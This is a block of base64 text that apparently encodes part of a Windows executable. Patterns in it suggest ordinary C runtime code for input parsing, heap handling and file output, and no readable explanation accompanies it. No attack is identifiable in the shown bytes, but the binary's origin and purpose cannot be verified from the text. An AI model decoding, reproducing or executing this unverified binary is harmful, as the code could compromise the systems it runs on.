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 